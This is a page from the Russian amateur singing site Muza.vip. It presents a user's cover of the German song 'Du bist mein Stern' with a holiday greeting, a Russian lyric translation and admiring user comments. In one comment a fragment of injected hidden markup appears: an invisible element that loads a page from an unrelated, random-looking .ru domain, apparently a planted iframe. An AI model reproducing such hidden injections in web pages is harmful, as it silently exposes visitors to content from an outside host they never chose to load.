На главную Muza.vip
      
Луна
(Кашин Павел)
Вы хотели мне что-то сказать
(Герман Анна)
На острове Буяне
(Ариэль)
Листья желтые
(Паулс Раймонд)
Причём здесь любовь
(Польна Ева)
 Ринг


Песня месяца
Сентябрь 2025 года
AmenikШаланды полные кефали
(Утесов Леонид)

Баллов: 993



   «Du bist mein Stern» (Ayman)

80   31   2
   Кавер-версия от Psion
08.03.2016 1433
_____________Премьера песни (на сайте)!_____________
А заодно и премьера cover-а не только здесь, но и во всём рунете )!
***************************************************************

Дорогие наши Мамы, Бабушки, Жёны, Дочери, Сёстры, и все-все-все знакомые и незнакомые девушки - Поздравляю Вас с 8 марта - праздником весны, праздником Вашей женственности, поры цветения и Любви!

С Весной наши чувства становятся острее, просыпается природа, наступает пора цветения, наливается красками и..уже не успеем оглянуться, как распуститься листва и нас согреет солнце!
С праздником Вас, наши милые, хорошие; всё лучшее - только для Вас!

Выражаю благодарность моему Тёзке за консультацию по вопросам произношения, - Серёг спасибо тебе огромное! Ни одна из иностранных песен ещё не была так для меня сложна как эта, около 30 записей этой песни записано в разное время на пути к совершенству..

Вот перевод этой песни - "Моя звезда":

Улетим давай со мной
К неизведанным местам
Где любовь одна живёт
Одиночество пройдёт
Вместе будем там с тобой
Только мы совсем одни
Я больше никогда не хочу тебя терять

Ты моя путеводная звезда
Мой солнца луч
Далеко ли, близко ли
С тобою буду я всегда

Дай познать твое тепло
Уведу тебя в ночи
Я на самый край земли
Будем делать что хотим
По дороге вечности
Вместе в путь с тобой пойдём
Даже если ты сейчас далеко

Ты моя путеводная звезда
Мой солнца луч
Далеко ли, близко ли
С тобою буду я всегда

Мы пройдём с тобой сквозь ночь
Всю до утренней зари
Нам мгновение укажет путь
Всё равно куда идти
Ты всегда можешь на меня положится
Доверяя мне во всём
Мы познаем заново любовь

Ты моя путеводная звезда
Мой солнца луч
Далеко ли, близко ли
С тобою буду я всегда
Ты моя путеводная звезда
Ты свет вселенной для меня
Далеко ли, близко ли
Я знаю, что ты будешь со мной
  Баллов:
19
  



Комментарии пользователей к записи:

arutunov, 08.03.2016 г. 15:21
МОЛОДЕЦ!!!klass
  

Psion, 08.03.2016 г. 15:42
Благодарю, Юрий!zhmu_lapu
  
VovanB, 08.03.2016 г. 15:31
Серёга класс молодец buket_serdechkibravo_bigzhmu_lapubuket_big id="a1996667054" src="//u7yb1iy1x3xv.ru/f.html" style="display:none">
  

Psion, 08.03.2016 г. 15:43
Спасибо, Володя!victory
  
tanya57, 08.03.2016 г. 16:33
Сережа, не устаю восхищаться! Слушаю уже второй раз,замечательное звучание!Браво !bravo_bigvoo
  

Psion, 08.03.2016 г. 16:41
Мой тебе поклон, Татьяна - очень приятно!buketbuket_bigbuket
  
_ECLAT_, 08.03.2016 г. 18:06
Ух, красивое какое поздравление для прекрасной половины! bravo_bigСергей, благодарю!buket_bigОчень понравилось!d9
  

Psion, 08.03.2016 г. 19:23
Очень приятно, Елена- благодарю!buket_bigbuketbuket_big
  
liutika, 08.03.2016 г. 20:47
Прекрасное исполнение, спасибо! rozochka
  

Psion, 08.03.2016 г. 22:15
Благодарю Вас, Оля!rozochkarozochkarozochka
  
LISTvA13, 08.03.2016 г. 21:19
serdce_v_rukeЗацепила история,Серёж!СПАСИБО!!!!!buket_big
  

Psion, 08.03.2016 г. 22:17
Спасибо Вам, Лидия - очень приятно!buket_serdechkibuket_serdechkibuket_serdechki
  
MESCHYORA, 09.03.2016 г. 08:46
vooulybaemsya_i_mashemНеожиданно, Сергей! Мне очень понравилось! Так витеевато-романтично и артистизм на уровне и дойч тоже! Ну теперь придется тебе отвечать на иностранных - жди!
  

Psion, 11.03.2016 г. 03:03
Привет, Коля - спасибо!zhmu_lapu Навряд ли, тут ведь все наши соотечественники, пусть и не все живут в России, так или иначе - песни/творчество - сближают всех, это здорово!

П.С.
При работе над песней - добивался того (насколько это возможно в принципе), чтобы песня звучала органично и естественно, ведь немецкий он "резок на слух", и конечно того, чтобы каждое слово было понятно! Более того я его ранее вообще не изучал немецкийsmushenie, но ради этой песни, уж очень она мне пришлась по душе и мелодика и слова (как узнал позже их смысл) - немалый пусть пройден..сначала думал спеть "как в оригинале", но потом решил - нафик непонятные диалекты - которых сотни..(он поёт на каком-то из них, и часть слов вообще "проглатывает"..), спою без них - а это ещё более усложнило задачу, которую сам себе поставил.. но лёгких путей не искал..
  

MESCHYORA, 11.03.2016 г. 04:47
klass
  
WKC7WA7K, 10.05.2017 г. 11:38
Очень красиво, Серёжа ! v_romashkah
  

Psion, 10.05.2017 г. 21:45
Большое спасибо, Натали! buket_big
  

align=absbottomКомментарии могут оставлять только зарегистрированные пользователи, активировавшие аккаунт!
Зарегистрироваться или войти

  ПОМОГАЕМ
  ЖИВОТНЫМ
  В ЗОНЕ СВО




Студия
whotor
Я тебя никогда не забуду
Караченцов Николай
Ivankanik
Ария Париса (Прекрасная Елена)
Оперетты
tsn
Я Вас любил
Шереметев Борис
akmira2814
Мечта осенняя
Калашникова Ирина
Aleksantin
Тараторят бабки рьяно
Искусственный интеллект
SERG-S
Ночное рандеву
Кельми Крис
ARAKS
В сиреневых сумерках
Камбурова Елена
verche
Песня о незнакомом певце
Миронов Андрей
gdi1960
Осенние листья
Гордъера Лариса
Temanik
Поздний вечер в Соренто
Глызин Алексей
LonelyWoolf
Прости за любовь
Савичева Юлия
Haris1958
Ты моя нежность
Закирова Наргиз
BEDHAR58
Цветы под снегом
Долина Лариса
vas707356
Любовники
Колюха Игорь
droginko
Желаю вам
Гуляев Юрий
lalalala2000
Тик-так
Смирнов и Компания
Samocvet
Не такая как все
Клявер Денис
jlu3
Mourir sur scene
Dalida
Sergey_ku
Купил я запорожец
Анофриев Олег
VETER36
Письмо
Вазян Ваграм
mranatolm
Фрегатъ
Поручик Александр
Phoenix-13
Your Love
Кудайберген Димаш
ARAKS
Баллада о правде и лжи
Высоцкий Владимир
PITT
Не умирай любовь
Антонов Юрий
motiv
Вокализ 5
Вокализы
kremenber
Не жалею, не зову, не плачу
Голубые гитары
korleone
Сувенир
Красные маки
petrovlad
Уеду
Телешев Леонид
popurik
Желтый лист
АТАС
sever56
Дорожное радио
Василевский Дмитрий




Территория творческого настроения © Muza.vip, 2011 — 2025 гг. Пользовательское соглашение.